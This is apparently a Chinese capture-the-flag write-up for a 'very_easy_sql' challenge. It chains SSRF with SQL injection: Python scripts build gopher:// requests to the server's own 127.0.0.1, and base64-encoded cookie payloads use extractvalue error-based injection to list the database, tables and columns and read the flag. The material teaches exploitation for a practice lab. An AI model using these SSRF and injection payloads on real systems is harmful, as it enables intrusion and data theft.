当前位置: 首页 > news >正文

very_easy_sql(SSRF+SQL注入)

题目有一行提示:

you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正是因为请求是由服务器发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),所以根据提示内容会想到SSRF漏洞

查看源码,提示存在use.php

页面显示:你想用curl命令访问的网址是什么?

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤或限制,我们可以让服务器向自身发送请求(127.0.0.1),这样可以访问内网或本地服务

首先利用gopher协议实现内部访问

import urllib.parse# 目标服务器地址和端口
host = "127.0.0.1:80"# HTTP 请求体的内容
content = "uname=admin&passwd=admin"
content_length = len(content)# 构造 HTTP POST 请求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 对请求字符串进行 URL 编码
encoded_test = urllib.parse.quote(test)# 将换行符 %0A 替换为 %0D%0A,以符合 HTTP 协议
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 构造最终的 Gopher 协议请求
result = "gopher://" + host + "/_" + encoded_testprint(result)

将 host 设为 127.0.0.1:80 是为了:

  • 利用 SSRF 让服务器自己发起 HTTP 请求,尝试访问本地 Web 应用中不可从外部访问的部分。
  • 结合 SQL 注入 payload,为了绕过一些限制,间接获取敏感数据

这段代码目的是 构造一个请求,用hopher协议发送,目的是让服务器访问其自身的 127.0.0.1 地址

抓包获取可以发现setcookie的值为admin的base64编码值。

猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为 \

 我们可以使用\(转义字符)来判断SQL注入的闭合方式。
    分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型

在\后面为'),所以闭合方式为'),

使用报错注入查询数据库

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查库security

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查表flag

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查内容flag  admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #

得到flag

相关文章:

  • 中科固源:蓝牙协议栈架构与核心协议深度剖析
  • 数据库同步方案:构建企业数据流通的高速通道
  • SQL Server 中的 GO 及其与其他数据库的对比
  • 正则表达式非捕获分组?:
  • AI训练服务器概述
  • 混合云安全实战:如何构建稳固的云安全防线?
  • 【ARM AMBA AHB 入门 3 -- AHB 总线介绍】
  • 数字康养新范式:七彩喜平台重构智慧养老生态的深度实践
  • 欧姆龙 PLC串口转网口模块cjcp系列SG-CJCP-110
  • 浅谈广告投放从业者底层思维逻辑
  • 结构体的学习
  • eclipse开发环境中缺少JavaEE组件如何安装
  • shell操作文件上传
  • 第十节:图像处理基础-图像算术运算 (加法、减法、混合)
  • C++ 静态成员
  • void*在c语言中什么意思(非常详细)
  • 【MVCP】基于解纠缠表示学习和跨模态-上下文关联挖掘的多模态情感分析
  • 5月8日直播见!Atlassian Team‘25大会精华+AI实战分享
  • 蓝桥杯2025年第十六届省赛真题-水质检测
  • oracle 优化器
  • 婚姻登记“全国通办”首日观察:数据多跑路,群众少跑腿
  • 央行谈MLF:逐步退出政策利率属性回归流动性投放工具
  • 850亿元!2025年中央金融机构注资特别国债(一期)拟第一次续发行
  • 重视体重管理,筑牢健康基石
  • 近4小时会谈、3项联合声明、20多份双边合作文本,中俄元首今年首次面对面会晤成果颇丰
  • 泽连斯基称与特朗普通话讨论停火事宜